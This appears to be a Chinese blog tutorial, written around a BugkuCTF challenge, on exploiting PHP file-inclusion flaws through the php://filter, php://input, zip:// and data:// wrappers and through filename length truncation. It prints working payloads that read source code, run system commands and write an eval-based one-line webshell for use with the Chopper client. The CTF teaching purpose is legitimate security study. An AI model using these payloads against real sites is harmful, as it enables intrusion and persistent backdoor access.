文件包含漏洞之3PHP伪协议实战

一、通过php_filter获取flag

1.php://filter介绍

1.定义:
在这里插入图片描述
2.举例说明:

(1)直接读取数据流:
在这里插入图片描述
(2)采用某种方式读取数据流,如果有两种及以上的读取方式,中间用 | 管道符隔开:
在这里插入图片描述
(3)写入数据流:
在这里插入图片描述

2.CTF实战

平台:BugkuCTF
题目:flag在index里
链接:http://123.206.87.240:8005/post/

1.点进去看到URL后面的参数,怀疑存在文件包含漏洞:
在这里插入图片描述
2.构造payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

然后页面返回了index.php文件通过base64编码以后的内容:
在这里插入图片描述

  • 为什么需要用base64进行编码?
    因为如果不进行base64编码传入,就会PHP代码会直接执行,为了确保我们得到的是源文件,最好是编码以后再解码。
    就比如里的flag就是在注释中,如果不通过编码传输,我们是看不到的。

3.解码得到flag:
在这里插入图片描述

二、php_input命令执行及获取webshell

1.php_input介绍

在这里插入图片描述

2.实验操作

这里用到了一款Firefox的插件HackBar。

  • 最新版的HackBar是需要收费的,我这里是在在GitHub上下载HackBar2.1.3版本的,然后手工添加。

1.可以查看phpinfo。

构造payload:

URL中:

?file=php://input   

post传参:

<?php phpinfo(); ?> 

应该还是哪里没弄好,所以没有出现预期的效果:在这里插入图片描述
应该是这样:
在这里插入图片描述
2.可以找flag。

根据页面的提示,我们可知flag在当前目录的某个文件里,所以我们用 system("dir") 输出目录的所有文件,可以看到flag.php:

payload:

<?php system("dir"); ?>

在这里插入图片描述
3.可以连菜刀获取webshell。

写一个名为 shell.php 的文件,"w" 是写权限的意思,里面的内容是一句话木马<?php eval($_POST[isns]);?>'

payload:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST[isns]);?>');?>

在这里插入图片描述
然后连接菜刀即可获得webshell。

三、php压缩协议获取webshell

当我们把压缩包上传成功以后,页面返回了它存放的绝对路径:

  • 使用zip协议时,我们需要知道物理路径,绝对路径不行。

在这里插入图片描述
构造payload:

?file=zip://压缩包的绝对路径%23压缩包里的文件名
  • %23是#的URL编码,但是不能写#,因为浏览器会当成注释符而忽略后面的内容。

在这里插入图片描述
然后再连菜刀,注入点是backdoor.php文件中一句话木马里的注入点。

只要是一个真正的压缩包,不管你把压缩包的后缀名修改成txt、jpg、png等,都可以通过压缩包协议上传的。

四、data协议获取webshell

其实data协议和input协议差不多,只是data是get方法,input是post方法。
data协议有四种语法,任选一种都可以:
在这里插入图片描述
也可以写入一句话木马:
在这里插入图片描述
然后连接菜刀获取webshell。

五、利用操作系统对文件名读取的特性进行文件包含(长度截断)

如果题目的源码在我们传入的文件名后面添加后缀.html:
在这里插入图片描述
在PHP 5.3以后就00截断就用不了了,所以我们这里可以使用长度截断。

由于在文件名中不能包含特殊字符,但可以加 .
在这里插入图片描述
所以我们可以在文件名后面加上两百多个点,使文件名长度大于256位(Windows下),然后代码中添加的.html后缀名就被截断了,我们的php文件就可以正常执行:
在这里插入图片描述

发布了80 篇原创文章 · 获赞 44 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/u011785309/article/details/105272726
今日推荐